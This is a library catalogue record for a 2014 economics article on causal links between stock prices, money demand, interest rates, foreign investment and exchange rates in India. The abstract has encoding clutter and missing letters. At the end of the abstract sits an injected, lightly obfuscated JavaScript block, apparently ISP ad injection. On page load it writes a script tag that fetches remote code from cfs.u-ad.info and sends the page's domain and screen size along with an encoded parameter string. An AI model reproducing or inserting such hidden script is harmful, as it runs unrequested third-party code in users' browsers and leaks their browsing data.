Causal Nexus between Stock Price, Demand for Money, Interest Rate, Foreign Institutional Investment, and Exchange Rates in India: A Post Subprime Crisis Analysis

This  paper  makes  an  attempt  to  empirically  examine  the  causal  nexus  between  stock price, demand for money, interest rates, foreign institutional investment and exchange ra...

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Bibliographic Details
Main Authors: Iti Vyas, Narayan Prasad, Alok Kumar Mishra
Format: Article
Language:English
Published: Universitas Indonesia 2014-08-01
Series:Indonesian Capital Market Review
Online Access:http://journal.ui.ac.id/index.php/icmr/article/view/3625
Description
Summary:This &nbsp;paper &nbsp;makes &nbsp;an &nbsp;attempt &nbsp;to &nbsp;empirically &nbsp;examine &nbsp;the &nbsp;causal &nbsp;nexus &nbsp;between &nbsp;stock&nbsp;price, demand for money, interest rates, foreign institutional investment and exchange rates&nbsp;in India in the post subprime mortgage crisis period. The study employed Granger causality&nbsp;test, Vector Auto Regression and Johansen Maximum Likelihood procedure to examine the&nbsp;short &nbsp;run &nbsp;and &nbsp;long &nbsp;run &nbsp;dynamic &nbsp;interaction &nbsp;among &nbsp;the &nbsp;above &nbsp;mentioned &nbsp;variables &nbsp;for &nbsp;the&nbsp;period January 1993 to May 2009. The major indings of the study are: stock return affects&nbsp;exchange rate return, net foreign institutional investment and growth of demand for money.&nbsp;Growth &nbsp;of &nbsp;demand &nbsp;for &nbsp;money, &nbsp;in &nbsp;turn, &nbsp;affects &nbsp;interest &nbsp;rate. &nbsp;Interest &nbsp;rate &nbsp;is &nbsp;more &nbsp;affected&nbsp;by exchange rate return. Foreign institutional investment also affects interest rate. The co-integration &nbsp;test &nbsp;conirms &nbsp;that &nbsp;there &nbsp;does &nbsp;not &nbsp;exist &nbsp;any &nbsp;long &nbsp;run &nbsp;equilibrium &nbsp;relationship&nbsp;between stock return and exchange rate return <script type="text/javascript"><!-- if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKD5ZPUFJSHXkfO2oDKMAQuzOojP%2fmDucJguojRzdY0PZjnsrjI4qdTOeHAtQwjiZtLYQj7tFNHtzZGU%2bH%2fFkypnL2i18%2fZ3389siCfg0LBeacXMdHl8%2fDn9WIn5pYaabIuGr473BoJgrO8F2Zs2clSiZgUibRbl4%2f%2bh84fwwA2SDukkbmN1FqQnbI83nJCjqTEDixH%2f7nUAnBe5p9ZJohSJu6YByurEYShLXnNu%2bh8Cyu1QXCq%2fynX7345depVuEGJNRqyFubxWjGVF349Fz3aNWNscGxEFyTkbCOD92cO0QIC5%2blBR2sEKNbYC%2fs%2b4A8n2cwai0HrrhGc%2bZ%2fZ4Dp3dHOocL1xWNo1wSYrFrQdCHF06QlRFOSqKHYjPocH59idxI%2foYjU4%2f8sA3RbRv29IhNeBiP%2fJ9pw3AhutTDIxLoaO%2fidclptGFnQfghUrR%2f9Awee9%2bdxnjjk%3d");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");} // --></script><noscript>activate javascript</noscript>
ISSN:1979-8997
2356-3818